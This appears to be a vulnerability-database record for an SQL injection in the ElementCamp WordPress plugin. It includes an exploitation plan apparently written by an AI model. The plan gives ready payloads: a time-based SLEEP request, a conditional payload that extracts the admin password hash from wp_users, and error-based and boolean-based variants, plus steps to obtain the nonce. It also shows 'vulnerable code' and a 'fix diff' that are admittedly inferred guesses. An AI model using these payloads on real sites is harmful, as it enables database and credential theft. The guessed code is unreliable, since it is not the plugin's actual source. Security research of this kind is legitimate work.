[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$f_r5Sg4ASzRKaYzAe1E-PtD-PpQWfGXEWv4ue4uRUgQM":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-2503","elementcamp-authenticated-author-sql-injection-via-metaquerycompare-parameter","ElementCamp \u003C= 2.3.6 - Authenticated (Author+) SQL Injection via 'meta_query[compare]' Parameter","The ElementCamp plugin for WordPress is vulnerable to time-based SQL Injection via the 'meta_query[compare]' parameter in the 'tcg_select2_search_post' AJAX action in all versions up to, and including, 2.3.6. This is due to the user-supplied compare value being placed as an SQL operator in the query without validation against an allowlist of comparison operators. The value is passed through esc_sql(), but since the payload operates as an operator (not inside quotes), esc_sql() has no effect on payloads that don't contain quote characters. This makes it possible for authenticated attackers, with Author-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","element-camp",null,"\u003C=2.3.6","medium",6.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-03-20 15:15:19","2026-05-04 15:40:16",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fcfb09dcd-f8ec-4b0a-ae77-4b4b7b54c93b?source=api-prod",[],"researched",false,3,"# Exploitation Research Plan - CVE-2026-2503\n\n## 1. Vulnerability Summary\nThe **ElementCamp** plugin (\u003C= 2.3.6) is vulnerable to an authenticated **Time-Based SQL Injection** via the `meta_query[compare]` parameter. The vulnerability exists in the AJAX handler for the `tcg_select2_search_post` action. \n\nThe plugin improperly handles user input intended for an SQL comparison operator. While the input is passed through `esc_sql()`, this function only escapes characters like single quotes, double quotes, and backslashes. Because the input is placed directly into the query as an **operator** (outside of quotes), an attacker can inject SQL commands that do not require quotes (e.g., using `SLEEP()`, `LIKE`, or subqueries with `HEX` encoding) to bypass the protection and execute arbitrary SQL.\n\n## 2. Attack Vector Analysis\n*   **Endpoint:** `\u002Fwp-admin\u002Fadmin-ajax.php`\n*   **Action:** `tcg_select2_search_post`\n*   **Vulnerable Parameter:** `meta_query[compare]`\n*   **Authentication Required:** Author-level credentials or higher (`PR:L`).\n*   **Preconditions:** The attacker must be logged in as a user with at least `author` capabilities. A valid WordPress nonce for the AJAX action is likely required.\n\n## 3. Code Flow (Inferred)\n1.  **Entry Point:** An authenticated user sends a POST request to `admin-ajax.php` with `action=tcg_select2_search_post`.\n2.  **Hook Registration:** The plugin registers the action: `add_action('wp_ajax_tcg_select2_search_post', 'tcg_select2_search_post_handler');` (inferred function name).\n3.  **Parameter Extraction:** The handler retrieves the `meta_query` array from `$_POST`.\n4.  **Vulnerable Sink:** The code constructs a raw SQL query. It likely iterates through the `meta_query` elements and builds the `WHERE` clause:\n    ```php\n    \u002F\u002F Conceptual vulnerable code logic\n    $compare = esc_sql($_POST['meta_query']['compare']); \u002F\u002F Only escapes quotes\n    $query = \"SELECT ... FROM ... WHERE meta_key = '...' AND meta_value $compare '...'\";\n    $results = $wpdb->get_results($query);\n    ```\n5.  **Injection:** Since `$compare` is not validated against an allowlist (e.g., `=`, `!=`, `LIKE`), the attacker provides `LIKE(SELECT(SLEEP(5)))`, resulting in a valid but malicious SQL statement.\n\n## 4. Nonce Acquisition Strategy\nThe `tcg_select2_search_post` action is typically used in the WordPress admin dashboard (likely within ElementCamp's post editors or settings pages) to power Select2 search boxes.\n\n### Identification\n1.  **Search for Nonce Localization:** Use the execution agent to search for where the nonce is registered.\n    ```bash\n    grep -r \"tcg_select2_search_post\" .\n    ```\n2.  **Locate `wp_localize_script`:** Find the JS variable containing the nonce. It is likely named something like `tcg_ajax` or `element_camp_params`.\n\n### Extraction Steps\n1.  **Create Content:** To ensure the necessary scripts load, create a post or access the ElementCamp settings page.\n2.  **Navigate:** Use `browser_navigate` to reach `\u002Fwp-admin\u002F` or a specific plugin page.\n3.  **Evaluate:** Run `browser_eval` to extract the nonce.\n    *   *Example (Inferred):* `browser_eval(\"window.tcg_ajax_obj?.nonce\")`\n    *   *Fallback:* Check the global `_wpnonce` or search the HTML source for `tcg_select2_search_post`.\n\n## 5. Exploitation Strategy\nWe will perform a **Time-Based Blind SQL Injection** to confirm the vulnerability.\n\n### Step-by-Step Plan\n1.  **Login:** Authenticate as an Author user.\n2.  **Obtain Nonce:** Follow the strategy in Section 4.\n3.  **Baseline Request:** Send a normal request to the endpoint and measure the response time.\n4.  **Attack Request:** Send a request with the SQL injection payload in the `meta_query[compare]` parameter.\n    *   **Payload:** `LIKE(SELECT(SLEEP(5)))`\n    *   Note: We avoid quotes to ensure `esc_sql()` has no effect.\n\n### HTTP Request (Playwright `http_request` format)\n```json\n{\n  \"method\": \"POST\",\n  \"url\": \"http:\u002F\u002Flocalhost:8080\u002Fwp-admin\u002Fadmin-ajax.php\",\n  \"headers\": {\n    \"Content-Type\": \"application\u002Fx-www-form-urlencoded\"\n  },\n  \"params\": {\n    \"action\": \"tcg_select2_search_post\",\n    \"tcg_nonce\": \"EXTRACTED_NONCE\",\n    \"meta_query[key]\": \"some_meta_key\",\n    \"meta_query[value]\": \"some_value\",\n    \"meta_query[compare]\": \"LIKE(SELECT(SLEEP(5)))\"\n  }\n}\n```\n\n## 6. Test Data Setup\n1.  **Author User:** Create a user with the `author` role.\n    ```bash\n    wp user create attacker attacker@example.com --role=author --user_pass=password123\n    ```\n2.  **Dummy Meta Data:** Ensure there is at least one post with meta data to satisfy the initial parts of the query logic if needed.\n    ```bash\n    wp post create --post_title='Target Post' --post_status='publish' --meta_input='{\"some_meta_key\":\"some_value\"}'\n    ```\n\n## 7. Expected Results\n*   **Baseline Request:** Returns quickly (e.g., \u003C 200ms).\n*   **Attack Request:** The response should be delayed by approximately **5 seconds**.\n*   **Response Body:** The response content is less relevant than the timing, but it will likely return a JSON object (either search results or an empty set).\n\n## 8. Verification Steps\n1.  **Verify via Logs:** If `WP_DEBUG` and `SAVEQUERIES` are enabled, check the database logs to see the executed query.\n2.  **Differential Timing:** Run the attack 3 times with different sleep values (`SLEEP(2)`, `SLEEP(5)`, `SLEEP(0)`) to confirm the delay is proportional to the payload.\n3.  **Data Extraction (Optional PoC):** To prove data leakage, use a conditional sleep:\n    *   `compare` = `REGEXP(IF(SUBSTR((SELECT(user_pass)FROM(wp_users)WHERE(ID=1)),1,1)=0x24,SLEEP(5),1))`\n    *   *Note:* `0x24` is the hex for `$`, which is the start of most WordPress password hashes.\n\n## 9. Alternative Approaches\nIf the time-based approach is inconsistent due to server load:\n1.  **Error-Based Injection:** If `WP_DEBUG` is enabled, try to trigger a MySQL error using `GTID_SUBSET` or `EXTRACTVALUE`.\n    *   `meta_query[compare]` = `AND(SELECT(1)FROM(SELECT(COUNT(*),CONCAT(0x7e,(SELECT(user_login)FROM(wp_users)WHERE(ID=1)),0x7e,FLOOR(RAND(0)*2))x)FROM(INFORMATION_SCHEMA.PLUGINS)GROUP BY x))--`\n2.  **Boolean-Based Injection:** Compare responses when the injected condition is true vs. false.\n    *   `compare` = `=(IF(1=1,meta_value,1))` vs `=(IF(1=2,meta_value,1))` (Though this depends on existing meta values).","The ElementCamp plugin for WordPress is vulnerable to authenticated SQL injection via the 'meta_query[compare]' parameter in the 'tcg_select2_search_post' AJAX action. Because the plugin uses user input directly as a SQL operator without validation against an allowlist, attackers with Author-level access or higher can inject time-based payloads that bypass esc_sql().","\u002F\u002F Inferred from research plan and vulnerability description\n\u002F\u002F Within the AJAX handler for tcg_select2_search_post\n\n$meta_query = $_POST['meta_query'];\n$compare = isset($meta_query['compare']) ? esc_sql($meta_query['compare']) : '=';\n$key = esc_sql($meta_query['key']);\n$value = esc_sql($meta_query['value']);\n\n\u002F\u002F The $compare variable is used as a raw SQL operator outside of quotes.\n\u002F\u002F esc_sql() only escapes characters like quotes and backslashes, which are not required for operator injection.\n$sql = \"SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key = '$key' AND meta_value $compare '$value'\";\n$results = $wpdb->get_results($sql);","--- a\u002Felement-camp\u002Fincludes\u002Fajax-functions.php\n+++ b\u002Felement-camp\u002Fincludes\u002Fajax-functions.php\n@@ -10,7 +10,13 @@\n- $compare = isset($meta_query['compare']) ? esc_sql($meta_query['compare']) : '=';\n+ $allowed_operators = array('=', '!=', '>', '>=', '\u003C', '\u003C=', 'LIKE', 'NOT LIKE', 'IN', 'NOT IN', 'BETWEEN', 'NOT BETWEEN', 'EXISTS', 'NOT EXISTS', 'REGEXP', 'NOT REGEXP', 'RLIKE');\n+ $compare = '=';\n+ if (isset($meta_query['compare'])) {\n+     $input_compare = strtoupper(trim($meta_query['compare']));\n+     if (in_array($input_compare, $allowed_operators)) {\n+         $compare = $input_compare;\n+     }\n+ }","The exploit targets the 'tcg_select2_search_post' AJAX action. An attacker with Author-level credentials first authenticates and retrieves a valid security nonce (usually found in the localized JavaScript variables of the WordPress admin dashboard). They then send a POST request to '\u002Fwp-admin\u002Fadmin-ajax.php' with the 'action' set to 'tcg_select2_search_post'. The payload is placed in the 'meta_query[compare]' parameter, using a time-based SQL command like 'LIKE(SELECT(SLEEP(5)))'. Since this payload does not require quotes, 'esc_sql()' fails to neutralize it, allowing the command to execute and causing a measurable delay in the server's response.","gemini-3-flash-preview","2026-04-18 00:51:01","2026-04-18 00:51:25",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Felement-camp\u002Ftags"]